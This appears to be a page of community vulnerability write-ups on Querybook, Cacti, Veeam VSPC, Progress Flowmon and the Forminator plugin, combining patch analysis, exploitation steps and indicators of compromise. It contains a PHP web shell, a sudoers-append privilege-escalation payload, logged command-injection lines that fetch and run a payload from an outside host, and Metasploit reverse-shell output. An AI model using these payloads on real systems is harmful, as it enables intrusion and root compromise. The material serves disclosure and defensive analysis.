Activity Feed

2
Ratings
Technical Analysis

Entered URL through Draft.js entity data (props.contentState.getEntity(props.entityKey).getData()) in querybook/webapp/lib/richtext/ index.tsx (line 13) misses validation of URL schema using Safelist (‘http:’, ‘https:’), resulting in client-side XSS at <Link to={url} newTab> (line 15), enabling ACE when exploited.

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Cacti versions prior to 1.2.27 are vulnerable to arbitrary file write that could lead to RCE. This requires authentication and the account needs the Template Editor permission to exploit this vulnerability.

Exploit

Once authenticated, the attacker just needs to import the following XML package, with the desired payload previously base64 encoded.

<xml>
   <files>
      <file>
         <name>resource/payload.php</name>
         <data>...base64 encoded payload…</data>
         <filesignature>...base64 encoded signature of the payload file</filesignature>
      </file>
   </files>
   <publickey>...base64 encoded public key...</publickey>
   <signature>...base64 encoded signature of this package XML file…</signature>
</xml>

Note that the signatures of the payload and the XML file are RSA-based signatures with SHA-256.

The entire XML has to be Gzipped before being sent through the Import/Export > Import Packages page. This results in having our PHP payload file being extracted to the resource/ directory, which is accessible externally at http://<catci host>/<cacti root path>/resource/payload.php.

One typical payload to achieve code execution would be:

<?php system($_GET['cmd']); ?>

which can be triggered by sending the following request:

❯ curl "http://127.0.0.1:8080/cacti/resource/payload.php?cmd=cat+/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Analysis

The following code snippet from the import_package() function in lib/import.php is responsible for handling the import of the XML package:

 517         foreach ($data['files']['file'] as $f) {
 518                 $fdata = base64_decode($f['data']);
 519                 $name = $f['name'];
 520
 521                 if (strpos($name, 'scripts/') !== false || strpos($name, 'resource/') !== false) {
 522                         $filename = $config['base_path'] . "/$name";
 523
 524                         if (!$preview) {
 525                                 if (!cacti_sizeof($import_files) || in_array($name, $import_files)) {
 526                                         cacti_log('Writing file: ' . $filename, false, 'IMPORT', POLLER_VERBOSITY_MEDIUM);
 527
 528                                         if ((is_writeable(dirname($filename)) && !file_exists($filename)) || is_writable($filename)) {
 529                                                 $file = fopen($filename, 'wb');
 530
 531                                                 if (is_resource($file)) {
 532                                                         fwrite($file , $fdata, strlen($fdata));
 533                                                         fclose($file);
 534                                                         clearstatcache();
 535                                                         $filestatus[$filename] = __('written');
 536                                                 } else {

The data is decoded line 518 and written to file on line 532. The filename is retrieved from the name field line 519 and must include 'scripts/ or resource/ (line 521). The final destination path is constructed line 522. Since the scripts/ directory is not accessible externally, having our payload in the resource/ directory is the preferred option.

Note that there is no protection against path traversal and it should be possible to set the file name to something like resource/../../../../../../../<path from the root>/payload and write the payload anywhere on the filesystem, as long as the user running Cacti has the right permissions.

IoC

The original PoC and the Metasploit module sends a minimum XML package and many optional fields are missing. This generates a series of entries in the main Cacti log (<cacti installation path>/log/cacti.log). These can be a good indicator the exploit has been executed.

2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[195]:import_package(), /lib/import.php[607]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: info in file: /var/www/html/cacti/lib/import.php  on line: 341
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[451]:import_package_get_details(), /lib/import.php[341]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: author in file: /var/www/html/cacti/package_import.php  on line: 481
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[481]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: homepage in file: /var/www/html/cacti/package_import.php  on line: 482
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[482]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: email in file: /var/www/html/cacti/package_import.php  on line: 483
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[483]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: copyright in file: /var/www/html/cacti/package_import.php  on line: 490
3
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Low
Technical Analysis

This deserialization vulnerability piqued my interest after I saw it had received a “patch reissue” a couple of weeks after it was initially patched. I was curious whether the secondary patch was necessary or more of a prophylactic measure. Due to time and software limitations, this assessment doesn’t include PoC and is mostly based on static analysis; the primary goal of this is to provide more information about the risk of the vulnerability, as well as to document some information I’ve learned about the suite for researchers.

Software Overview

CVE-2024-29212 targets Veeam Service Provider Console (“VSPC”), which is a rather niche product. From what I’ve learned, it’s exclusively meant for managed service providers that resell Veeam “backups as a service”. Despite not managing the Veeam infrastructure themselves, clients of these service providers still prefer having their own dashboard for backups. In that scenario, the service provider would set up VSPC and its bundled Web UI as an interface for those customers to manage backups and transmit their data to the centralized server.

VSPC itself, which is predominantly written in C# .NET, is fairly complex, with many different services and communication channels. The ecosystem is primarily hosted by the service provider, and agent software continuously runs on the customer’s managed systems. As shown in the diagram linked above, the client agent connects to the Veeam Cloud Gateway intermediary service via TCP port 6180. In turn, the Gateway service communicates this data to the Veeam Service Provider Console Server (“VSPC Server”) over port 9999. VSPC Server also receives TCP data on port 1989 from the dedicated Web UI service back end, and the front-facing Web UI service listens on port 1280.

Exploitation Potential

The public attack surface for this specialized Veeam product appears to be minimal, based on Shodan queries; less than 100 VSPC Web UI servers were observed to be public-facing at the time of research. The vulnerability itself is also noted to be authenticated, which further lessens the likelihood of exploitation. Analysis appears to indicate that an attacker would need to acquire agent credentials from a managed system’s client to target the service provider’s VSPC system with a serialized payload. As a result, and considering the fact that this vulnerability was patched a few months back, CVE-2024-29212 appears to be at lower risk of widespread exploitation.

Patch Analysis

The most obvious security-related changes in the first patch are in a SerializationBinder class, BinarySerializerVulnerabilityFilter, within the BindToType method. This method is called during deserialization, and it sources the resulting object’s type from the data passed to it. The unpatched code is shown below. It includes a security check that throws an exception if the target assembly is a forbidden type AND the assembly name does not contain the string “Veeam”.

	public override Type BindToType(string assemblyName, string typeName)
	{
		int num = typeName.IndexOf(",", StringComparison.Ordinal);
		if (num > 0)
		{
			typeName = typeName.Substring(0, num);
		}
		if (!assemblyName.ContainsIgnoreCase("Veeam") && _forbiddenTypes.Any((string t) => typeName.EndsWith(t, StringComparison.OrdinalIgnoreCase)))
		{
			throw new ArgumentException("Deserialization of type " + typeName + " is prohibited.");
		}
		return _wrappedBinder?.BindToType(assemblyName, typeName);
	}

The _forbiddenTypes list, which was not changed, is as follows:
"AxHost+State", "DelegateSerializationHolder", "DataSet", "PSObject", "ResourceSet", "RolePrincipal", "SessionSecurityToken", "SessionViewStateHistoryItem", TextFormattingRunProperties", "WindowsClaimsIdentity", "WindowsIdentity", "ClaimsIdentity", "DataTable", "ObjRef", "ToolboxItemContainer".

The first of the two patches improved BindToType to remove the “Veeam” string allowlisting. This, and the lack of new forbidden entries, seems to indicate that the string “Veeam” is leveraged by the exploit’s serialized payload to take advantage of the string exclusion. There’s also a call to Type.GetType, though it’s unclear what purpose it serves in the initial patch.

	public override Type BindToType(string assemblyName, string typeName)
	{
		int num = typeName.IndexOf(",", StringComparison.Ordinal);
		if (num > 0)
		{
			typeName = typeName.Substring(0, num);
		}
		if (Array.Exists(_forbiddenTypes, (string t) => typeName.EndsWith(t, StringComparison.OrdinalIgnoreCase)))
		{
			throw new ArgumentException("Deserialization of type " + typeName + " is prohibited.");
		}
		Type.GetType(typeName + ", " + assemblyName);
		return _wrappedBinder?.BindToType(assemblyName, typeName);
	}

Next, we’ll take a look at the content of the “patch reissue”. In this example, Type.GetType is now used by the fullName variable, which is then used to check more comprehensively for forbidden types. This improved function also verifies that fullName is not null. Notably, the exception being thrown also now includes a debugging message that prints how typeName was parsed. This seems to indicate that the first patch may have been bypassed by confusing the parser.

	public override Type BindToType(string assemblyName, string typeName)
	{
		string fullName = Type.GetType(typeName + ", " + assemblyName)?.FullName;
		if (fullName == null || Array.Exists(_forbiddenTypes, (string t) => fullName.EndsWith(t, StringComparison.OrdinalIgnoreCase)))
		{
			throw new ArgumentException("Deserialization of type '" + typeName + "' (parsed as '" + fullName + "') is prohibited.");
		}
		return _wrappedBinder?.BindToType(assemblyName, typeName);
	}

Based on the content of the secondary patch, it seems likely it was implemented in response to a patch bypass, not just to use Type.GetType and harden the application. The excellent CODE WHITE research linked above outlines some .NET type parsing quirks when using serialization binders, which is probably the kind of thing this patch is trying to harden against.

The filter outlined above is referenced only by Veeam.MBP.AgentManager\Veeam.AC.AgentManagement\ReceiverWrapper.cs, where it’s used within SetupSerializationBinder and scoped for ChannelHostReceiver and MultiplexedStreamReceiver receiver types.

private void SetupSerializationBinder(ChannelHostReceiver receiver)
{
	if (receiver.MessageSerializer is NetBinarySerializer netBinarySerializer)
	{
		netBinarySerializer.CustomSerializationBinder = BinarySerializerVulnerabilityFilter.Wrap(netBinarySerializer.CustomSerializationBinder);
	}
}

private void SetupSerializationBinder(MultiplexedStreamReceiver receiver)
{
	if (receiver.MessageSerializer is NetBinarySerializer netBinarySerializer)
	{
		netBinarySerializer.CustomSerializationBinder = BinarySerializerVulnerabilityFilter.Wrap(netBinarySerializer.CustomSerializationBinder);
	}
}

The first patch also included a handful of changes in various areas of the code base that return early if entity nodes of the type BackupObject are encountered. For example, within Veeam.MBP.EntityImpl\Veeam.MBP.EntityImpl.EntityExtension\DataModelEntityExtension.cs, the application now checks if entities are of the type BackupObject before updating and adding child nodes.

	public static void UpdateTraverse<T>(this T entity, T newEntity) where T : EntityDataModelDbNode
	{
+		if (entity is BackupObject)
+		{
+			return;
+		}
		if (entity == null)
		{
			throw new ArgumentNullException("entity");
		}
		try
		{
			UpdateCurrentNode(entity, newEntity);
			AddOrUpdateChildNodes(entity, newEntity);
		}
		catch (Exception e)
		{
			Log.Error(e);
			throw;
		}
	}

[..]

	private static void AddOrUpdateChildNodes<T>(T oldEntity, T newEntity) where T : EntityDataModelDbNode
	{
		List<BaseEntity> childEntitiesClone = newEntity.ChildEntitiesClone;
		IDictionary<string, EntityDataModelDbNode> dictionary = childEntitiesClone.OfType<EntityDataModelDbNode>().DistinctBySystemNameToDictionary();
		foreach (EntityDataModelDbNode oldChild in oldEntity.ChildEntitiesClone.OfType<EntityDataModelDbNode>())
		{
+			if (oldChild is BackupObject)
+			{
+				continue;
+			}
			if (dictionary.TryGetValue(oldChild.SystemName, out var value))
			{
				dictionary.Remove(oldChild.SystemName);
				oldChild.UpdateTraverse(value);
				continue;
			}
			bool alwaysAlive = oldChild.GetTypeSystemName().AlwaysAlive;
			bool flag = childEntitiesClone.Any((BaseEntity a) => a.GetType() == oldChild.GetType());
			if (!alwaysAlive || flag)
			{
				oldChild.Delete();
			}
		}
		foreach (KeyValuePair<string, EntityDataModelDbNode> item in dictionary)
		{
			EntityDataModelDbNode value2 = item.Value;
			Log.Verbose("{0} was added", value2.SystemName);
			value2.CloneNode(oldEntity);
		}
	}

Summarizing Exploitation

Based on what we’ve seen in static analysis, the exploitation flow probably looks something like this:

  • Authenticate to the server as a client or hijack an existing authenticated agent connection.
  • Target the backup server (managed by the provider) with a serialized payload, scoped to be handled by the receiver’s custom BinarySerializerVulnerabilityFilter. VSPC Server deserializes client-provided data in a number of different places and relies on the filtering to catch unsafe types, so there are likely multiple possible deserialization sinks.
  • Before the first patch, the serialized payload’s type will likely contain the string “Veeam” and be related to the BackupObject type.
  • After the second patch, if exploitation is still viable, exploit attempts will likely attempt to confuse .NET type name parsing to get a malicious object deserialized.

Interacting with VSPC Server

As an addendum, though most of this analysis is based on static code review, I also want to summarize some information I’ve learned about the VSPC communication protocol for TCP ports 1989 and 9999. When VSPC Server receives a new connection from the client, it expects two bytes, a Veeam “type” byte and a “version” byte, followed by some XML data with the XML string length prepended as a 7-bit integer. The XML object, which should be a Connector for the first interaction, can specify a connectTo receiver, as well as a gate to interact with. For example, opening a new channel can be performed by decoding and sending the following data to port 1989.

AgXTAQo8Q29ubmVjdG9yPgo8Y29ubmVjdFRvIHJlY2VpdmVyPSJSZWNlaXZlclY0Ij4KPGdhdGUgbmFtZT
0iQXV0aGVudGljYXRlZCIgdGltZW91dD0iMTIwMDAwIi8+CjwvY29ubmVjdFRvPgo8ZW5kcG9pbnQ+Cjx2
ZXJzaW9uPjU8L3ZlcnNpb24+CjwvZW5kcG9pbnQ+Cjxjb25uZWN0aW9uVHlwZT5Ob3JtYWw8L2Nvbm5lY3
Rpb25UeXBlPgo8ZGF0YS8+CjwvQ29ubmVjdG9yPgo

Decoded, the XML string included above defines an XML Connector object, which specifies a ReceiverV4 receiver for post-authenticated interactions. This type seems to be affiliated with ReceiverWrapper, which is the class that sets up the custom serialization filter that was patched.

<Connector>
<connectTo receiver="ReceiverV4">
<gate name="Authenticated" timeout="120000"/>
</connectTo>
<endpoint>
<version>5</version>
</endpoint>
<connectionType>Normal</connectionType>
<data/>
</Connector>

With a new connection open, the server should return a response containing a GUID for a new channel.

<Response status="Ok"><attributes><attr name="channelId" value="f9f1ab9c-b78f-46ed-b28b-be6b012e0afd" /><attr name="protocolVersion" value="5" /></attributes></Response>

The server will then upgrade the unencrypted connection to an encrypted connection and perform a handshake and authentication flow.

3
Ratings
Technical Analysis

Progress Flowmon is a network performance monitoring and security solution developed by Progress Software. It is designed to provide detailed visibility into network traffic and performance, helping organizations to monitor, analyze, and secure their networks effectively.

In Flowmon versions prior to 11.1.14 and 12.3.5, an OS command injection vulnerability exists allowing unauthenticated users to execute code in the context of the flowmon user. The vulnerable endpoint which is accessible without authentication is /service.pdfs/confluence. This endpoint is used to generate PDFs for the application and accepts three parameters when targeted with a GET request.

The parameters that the GET request expects, as seen below, are lang, file and pluginPath.

The pluginPath parameter doesn’t get sanitized and then gets used to build a $url path:

The unsanitized $url string gets sent to the $pdfGenerator->generate() method. This method eventually calls the run($command) method inside /var/www/app/flowmon/models/Exec.php which is a wrapper for running system commands which attempts to generate the PDF with the supplied parameters.

See how it only sends one $command argument to the run function? This is the crux of the vulnerability which we will explore further in a moment.

A couple things to note here. First, the ironic function definition which states Should prevent cli injection

What’s interesting is that if this function was used in the way it was intended, the pluginPath parameter likely wouldn’t be exploitable. The run function accepts a second parameter which is an array of command arguments which are enclosed in quotes using the escapeshellarg() function which does indeed prevent cli injection.

However, the vulnerability exists because when the command is passed to the run function, it is passed as a long string into the first $command parameter and does not make use of the $command_args array which gets sanitized. Due to this it’s possible to escape the command using: $(<aribitrary command here>) which allows you to execute commands in the context of the flowmon user.

Priv Escalation pairing list

What better to complement a command injection exploit than a privilege escalation technique which was left unpatched by the vendor.

The flowmon user on affected devices are allowed to run a long list of commands with sudo privileges. Below is an excerpt, run sudo -l to see the full list:

    (root) NOPASSWD: /usr/sbin/lshw
    (root) NOPASSWD: /opt/MegaRAID/MegaCli/MegaCli64
    (root) NOPASSWD: /etc/invea-tech/hanic/hanic-flowmon
    (root) NOPASSWD: /sbin/ip route
    (root) NOPASSWD: /usr/local/bin/remote_storage
    (root) NOPASSWD: /usr/bin/php /var/www/shtml/index.php Cli\:AddNewSource *
    (root) NOPASSWD: /etc/plugins/*/* *
    (root) NOPASSWD: /usr/bin/net-snmp-config *
    (root) NOPASSWD: /sbin/ip6tables
    (root) NOPASSWD: /etc/init.d/fmd-widget-data
    (root) NOPASSWD: /usr/sbin/SHC/self-health-checker.sh

The command we’re interested in exploiting is:

/usr/bin/php /var/www/shtml/index.php Cli\:AddNewSource *

Simply because we have write access to the file index.php which will get executed by /usr/bin/php with root privileges.

ls -l  /var/www/shtml/index.php
-rw-r--r-- 1 flowmon flowmon 1447 Jun 19 20:27 /var/www/shtml/index.php

What we can do is first back up the file index.php. Then overwrite it with a payload which gives unlimited sudo access to the flowmon user by appending the following to the sudoers file.

echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;

Then using the command mentioned above, run our payload which we overwrote to index.php.

sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;

Now we can drop whatever exploit we wish on to the target and run it with sudo:

sudo ./exploit_file.sh

IoCs

By default there is logging in place which will log each exploit attempt of the command injection vulnerability CVE-2024-2389
In the /var/www/log folder the exec-ui.log logs when a PDF is attempted to be generated and you can see below the $url parameter is injected with our payload from the metasploit module.

Payload in log line:

https:\/\/localhost\/doc\/$(curl -so .\/LVdeSLLFVX http:\/\/192.168.101.78:8080\/AYs_LPTV8IDulSzceZilCA; chmod +x .\/LVdeSLLFVX; .\/LVdeSLLFVX &)\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&

Full log line:

./exec-ui.log:{"level":"info","requestId":"66677cd095e9a","requestName":"HTTP - \/service.pdfs\/confluence","timestamp":"2024-06-11 00:23:41.038700","depth":1,"message":"Exec::run 'node \/var\/www\/shtml\/new-pdf-generator\/pageToPdf.js input=\"https:\/\/localhost\/doc\/$(curl -so .\/LVdeSLLFVX http:\/\/192.168.101.78:8080\/AYs_LPTV8IDulSzceZilCA; chmod +x .\/LVdeSLLFVX; .\/LVdeSLLFVX &)\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&print\" output=\"\/var\/www\/shtml\/pdf-generator\/temp\/doc_1uwPuy5q.pdf\" format=\"pdf\" reportsBrandingColor=\"#32A64E\" lang=\"en\" maxAttemptWaitingPage=\"60\" generateNotCompleted=\"0\"'","context":{"output":["2024-06-10T22:23:39.088Z - try to launch chromium","2024-06-10T22:23:39.547Z - Chromium is launched.","2024-06-10T22:23:39.548Z - Chromium open page with url: https:\/\/localhost\/doc\/\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&print","2024-06-10T22:23:40.992Z - Chromium cannot open page with url: https:\/\/localhost\/doc\/\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&print.","Error log: Status of page is: 404","","Added to log file."],"ret":3,"command_args":[],"duration":"27069.765 ms"},"utime":1718058221.038748,"memory":2,"callee":{"project":"frontend","file":"\/var\/www\/app\/flowmon\/models\/Exec.php","line":95}}

Also the process_logger.log log file will also contain similar traces of exploitation attempts as seen below:

./process_logger.log:{"level":"debug","requestId":"66571e8fbb307","requestName":"HTTP - \/service.pdfs\/confluence","timestamp":"2024-05-29 14:24:48.631800","depth":1,"message":"Command","context":["node \/var\/www\/shtml\/new-pdf-generator\/pageToPdf.js input=\"https:\/\/localhost\/doc\/$(curl -so .\/zLxWJANP http:\/\/192.168.50.78:8080\/Eprv7SVWQHIInVrWn0A4hg; chmod +x .\/zLxWJANP; .\/zLxWJANP &)\/locale\/0s8IAXCf\/index.html?file=eCGyQX4r.html&print\" output=\"\/var\/www\/shtml\/pdf-generator\/temp\/doc_eCGyQX4r.pdf\" format=\"pdf\" reportsBrandingColor=\"#32A64E\" lang=\"en\" maxAttemptWaitingPage=\"60\" generateNotCompleted=\"0\""],"utime":1716985488.6317589,"memory":12,"callee":{"project":"frontend","file":"\/var\/www\/app\/flowmon\/ServiceModule\/PdfsModule\/models\/PdfGenerator.php","line":91}}

As for the privilege escalation vuln, it is a bit more difficult to determine if it has been exploited. The process_logger.log log file does indicate when the vulnerable sudo command gets called Cli\\:AddNewSource s but because we overwrite the index.php file in order to exploit this vuln, in the logs there’s no way of telling if this call to CliPresenter.php was malicious.

./process_logger.log:{"level":"info","requestId":"66677b9e439c1","requestName":"CLI - Cli:AddNewSource","timestamp":"2024-06-11 00:18:06.284900","depth":0,"message":"Cli:AddNewSource started","context":{"isDaEnabled":false,"isProxy":false,"isAssigned":false,"parameters":{"module":":","action":"AddNewSource"}},"utime":1718057886.2848589,"memory":18,"callee":{"project":"frontend","file":"\/var\/www\/app\/flowmon\/presenters\/CliPresenter.php","line":768}}

When the metasploit module exploits the priv esc it:

  1. Over writes /var/www/shtml/index.php
  2. Edits /etc/sudoers
  3. Drops a payload to disk

It creates a number of IoCs but it cleans them all up. In the event a malicious attacker exploits the priv esc in a similar fashion without using the metasploit and fails to clean up after themselves there would be some very obvious signs of exploitation. One being that if you fail to restore index.php (the page that you get redirected to immediately when navigating to the Progress Flomon’s HTTP server) you will be greeted by a page containing part of the exploit:

Attacker Value and Exploitability

It’s been some time since I gave a 5/5 for both attacker value and exploitability – though this exploit seems well deserving of both those ratings. I feel the attacker value is only heightened by the fact that the vendor decided not to acknowledge/ patch the priv esc. Both vulns are trivial to exploit and are exploitable without authentication. This one is a doozy, patching is recommended asap

Metasploit modules in action

Command injection

msf6 exploit(linux/http/progress_flowmon_unauth_cmd_injection) > show options

Module options (exploit/linux/http/progress_flowmon_unauth_cmd_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PRIVESC    true             yes       Automatically try privesc to add sudo entry
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     172.174.209.101  yes       The target host(s), see https://docs.metasploit.com/docs/using-meta sploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI path to Flowmon
   VHOST                       no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP
                                                  , WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      TkHAXYbQwlH      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain space
                                                  s
   LHOST               138.111.211.11   yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/flowmon_unauth_cmd_injection) > run

[*] Started reverse TCP handler on 138.111.211.11:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 172.174.209.101:443 can be exploited!
[*] Detected version: 12.02.06
[+] The target is vulnerable. Version 12.02.06 is vulnerable.
[*] Attempting to execute payload...
[*] Meterpreter session 1 opened (138.111.211.11:4444 -> 172.174.209.101:48856) at 2024-05-01 15:22:24 +0000

meterpreter > sysinfo
Computer     : flowmon.my3m4o21xjze5fomtxp5e53h2h.bx.internal.cloudapp.net
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.76.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: flowmon

Privilege Escalation

msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                                  Connection
  --  ----  ----                   -----------                                  ----------
  5         meterpreter x64/linux  flowmon @ localhost.localdomain.localdomain  192.168.2.23:4444 -> 192.168.2.26:38328 (192.168.2.26)

msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > show options

Module options (exploit/linux/local/progress_flowmon_sudo_privesc_2024):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   SESSION       -1               yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.23     yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/progress_flowmon_sudo_privesc) > run

[*] Started reverse TCP handler on 192.168.2.23:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found 2 indicators this is a Progress Flowmon product
[!] The service is running, but could not be validated.
[*] Saving payload as /tmp/.fovaiiazfuhl
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.2.26
[+] Deleted /tmp/.fovaiiazfuhl
[*] Cleaning up addition to /etc/sudoers
[*] Meterpreter session 9 opened (192.168.2.23:5555 -> 192.168.2.26:33408) at 2024-05-23 16:46:10 -0400
[*] Restoring /var/www/shtml/index.php file contents...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : localhost.localdomain.localdomain
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.102.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

References

https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/

3
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    Very High
Technical Analysis

Forminator Wordpress plugin versions prior to 1.29.3 are vulnerable to SQL injection. After investigating the changes made in version 1.29.3, it is easy to see that no input sanitization was done on the order_by and order parameters before being concatenated to the SQL statement. This code lies in the get_filter_entries() function in library/model/class-form-entry-model.php:

		$order_by = 'ORDER BY entries.entry_id';
		if ( isset( $filters['order_by'] ) ) {
			$order_by = 'ORDER BY ' . esc_sql( $filters['order_by'] ); // unesacaped.
		}
		$order = 'DESC';
		if ( isset( $filters['order'] ) ) {
			$order = esc_sql( $filters['order'] );
		}

		// group.
		$group_by = 'GROUP BY entries.entry_id';

		$sql     = "SELECT entries.`entry_id` FROM {$table_name} entries
						INNER JOIN {$entries_meta_table_name} AS metas
    					ON (entries.entry_id = metas.entry_id)
 						WHERE {$where} {$group_by} {$order_by} {$order}";
		$results = $wpdb->get_results( $wpdb->prepare( $sql, $form_id ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

This function is called by _prepare_export_data() in library/class-export.php when exporting Quiz or Form data as a CSV or sent as an attachment via email. This code path is reached when filters like order or order_by are used in the query.

To demonstrate this, authenticate as an admin to access the Wordpress Admin Dashboard, go to /wp-admin/admin.php?page=forminator-entries, click on the filter button on the right hand side of the submission list, add some filters and click APPLY. The ones that interest us are Sort By and Sort Order. Then, click on EXPORT, select Apply Submission Filters in the Manual Exports section and click DOWNLOAD CSV.

This will send the following POST request:

POST /wp-admin/admin.php?page=forminator-entries&form_type=forminator_forms&form_id=7&entries-action&date_range&min_id&max_id&search&order_by=entries.date_created&order=DESC&entry_status=all&entries-action-bottom HTTP/1.1
Host: localhost:8080
Content-Length: 96
…[SNIP]...

forminator_export=1&form_id=7&form_type=cform&_forminator_nonce=ed27a59f8a&submission-filter=yes

It should return the submission entries in CSV format.

Now, let’s inject some SQL commands in the order_by parameter. According to the code, the vulnerable SQL query should not return anything in the response and we’ll need to go with blind SQLi. Since it will be concatenated to the ORDER BY clause, we will use the following query:

1,(select if((1=1),1,(select 1 union select 2)))

If the if condition is true, the submission entries should be returned. If it is false, an empty list should be returned:

  • True (1=1)
    True result
  • False (1=0)
    False result

More precisely, it is an Blind Error-Based SQLi, since a false statement will fail with an SQL error: ERROR 1242 (21000): Subquery returns more than 1 row

We now confirmed that SQLi is possible.

One big caveat to this attack is that each time a CSV is required, Forminator updates the forminator_exporter_log Wordpress option with a timestamp:

 124         $count = $export_data->entries_count;
 125         // save the time for later uses.
 126         $logs = get_option( 'forminator_exporter_log', array() );
 127         if ( ! isset( $logs[ $model->id ] ) ) {
 128             $logs[ $model->id ] = array();
 129         }
 130         $logs[ $model->id ][] = array(
 131             'time'  => current_time( 'timestamp' ),
 132             'count' => $count,
 133         );
 134         update_option( 'forminator_exporter_log', $logs );

This will cause Wordpress to update the forminator_exporter_log option value in the wp_options table each time a request is received. This code is not overwriting the previous timestamp but actually adding a new timestamp to the option each time a CSV is required. As a result, the forminator_exporter_log option value will increase in size each time it is updated.

This is not a big problem per se, but if binary logging is enabled (it is enabled by default from MySQL 8.0), each database update will add an event to the binary log file (binlog.*). Since a blind SQLi usually requires a lot of queries, the binary log files will increase exponentially and quickly fill out all the disk space on the MySQL server. This will end up causing a DoS (it happened to me many times while investigating).

To conclude, this vulnerability is relatively easy to exploit but requires privileged access to Wordpress in order to reach the Forminator CSV export functionality. Even with these privileges, it is very likely to cause a DoS before any useful data is retrieved from the database.